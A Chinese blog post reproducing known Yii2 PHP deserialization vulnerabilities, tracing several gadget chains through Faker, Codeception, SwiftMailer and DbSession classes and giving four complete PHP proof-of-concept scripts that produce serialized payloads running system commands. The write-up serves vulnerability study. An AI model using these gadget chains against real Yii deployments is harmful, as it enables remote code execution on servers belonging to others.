Yii反序列化漏洞分析

# yii2反序列化漏洞分析

环境搭建

Windows10 phpstudy

yii2版本:2.0.37和2.0.38

php版本:7.3.4

环境安装

使用compser安装2.0.38版本,github安装2.0.37版本

漏洞分析

漏洞的出发点是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中,

image-20200924142948953

这里调用reset()方法,跟进查看reset()方法

image-20200924143202497

并且这里$this->dataReader可控,可以调用不存在close()方法并且存在__call()方法的类,就是找一个跳板。$this->_dataREader->close()这里可以利用魔术方法__call,于是开始全局搜索__call。在\yii\vendor\fzaninotto\faker\src\Faker\Generator.php文件中

image-20200924144130770

跟进format

image-20200924144245020

跟进查看getFormatter

image-20200924144352201

format里调用了call_user_func_array,$formatter$arguments都不可控,目前$formatter='close',$arguments为空。$formatter传入了$this->getFormatter,在这个方法中,$this->formatters是可控的,这也就意味着getFormatter方法的返回值是可控的。

也就是说all_user_func_array这个函数的第一个参数可控,第二个参数为空

现在可以调用yii框架中的任何一个无参的方法。所以,要找一个无参数的方法,在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行。

查找调用了call_user_func函数的无参方法。

构造正则

function \w+\(\) ?\n?\{(.*\n)+call_user_func

查看IndexAction.php中的run方法

image-20200924152153978

可以看到$this->checkAccess以及$this->id都可控,构成利用链

yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

POC1

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

验证payload,因为这仅仅是一个反序列化利用链,所以还需要一个反序列化的入口点,这个需要自己构造

在controllers目录下创建一个Controller:

image-20200924160835120

运行POC访问controller传入参数实现RCE

image-20200924160522739

该利用链在yii 2.0.37中测试成功,在使用yii 2.0.38测试时,BatchQueryTesult类被修复无法实例化,需要另找起点。

其他利用链

yii 2.0.38中的另外起点。

利用链1

利用链的起点\yii\vendor\codeception\codeception\ext\RunBefore.php

image-20200925104406270

同样还是找__destruct()方法调用了stopProcess()函数,因为这里的$this->processes可控,也就意味着$process可控,然后下面又调用了$process->isRunning,可以接上第一条利用链的__call方法开头的后半段。

利用链

Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

POC2

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>


运行poc,并执行rce

image-20200925110847113

利用链2

\yii\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php文件中,

image-20200925113630883

跟进clearAll方法

image-20200925114038356

这里的$this->keys以及$nsKey、$itemKey都是我们可控的,所以是可以执行到$this->clearKey的,跟进查看:

image-20200925114215556

这里的$this->path也可控,可以看到这里是进行了一个字符串拼接操作,那么意味着可以利用魔术方法__toString来触发后续操作。

全局搜素__toString,有200个文件

image-20200925114742664

文件路径\yii\vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\See.php

使用See.php举例

image-20200925114502875

可以看到$this->description可控,又可以利用__call

利用链2

Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()

POC3

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

测试poc,实现rce

image-20200925115147720

利用链3

起点还是一样,与上述不同的是不用急着找跳板,reset()方法中$this->_dataReader是我们可控的,需要找到一个类中存在close()方法并且这个方法存在危险函数或是又可以延展调用链的就可以了

找到\yii\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法

image-20200925150623053

会调用\vendor\yiisoft\yii2\web\MultiFieldSession.php中的composeFields()方法,因为是继承此类的,看到这个方法

image-20200925150809198

比较这两个函数的差别

  • 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数,数组的 key 回调掉。
  • 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。

这里要利用call_user_func()函数能够将实例化对象作为数组传递给函数,也就是说这里因为我们可控$this->writeCallback,然后赋值[new \yii\rest\IndexAction($func, $param), "run"];
就可以调用之前我们所找到的终点--run()方法,再进行RCE

POC4

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('system', 'whoami');
    echo(base64_encode(serialize($exp)));
}


在yii 2.0.37版本中测试成功,2.0.38测试失败。

image-20200925152126478

POC在yii2.0.37中通用,其中POC2和POC3在yii2.0.38中可用。

对反序列化还不是很熟悉,这里主要是对已知漏洞的复现。

posted @ 2020-09-28 09:07  |Thresh|  阅读(6184)  评论(3编辑  收藏  举报